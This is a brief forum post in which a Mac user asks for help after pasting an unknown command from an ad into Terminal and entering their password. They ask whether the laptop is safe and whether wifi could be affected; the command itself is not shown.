Pasted Possible Virus into Terminal
Hi All,
A few months back I accidentally pasted this into terminal on my Mac from an ad. I didn’t know what it was and it asked for my password which I put in. What should I do to make sure my laptop is still safe to use? It’s been disconnected from wifi and been powered off ever since because I got spooked. I had the latest update of MacOS I could if that helps as well. I also went to the website but there was nothing on there. Can this somehow get into my wifi and if so what can I do?
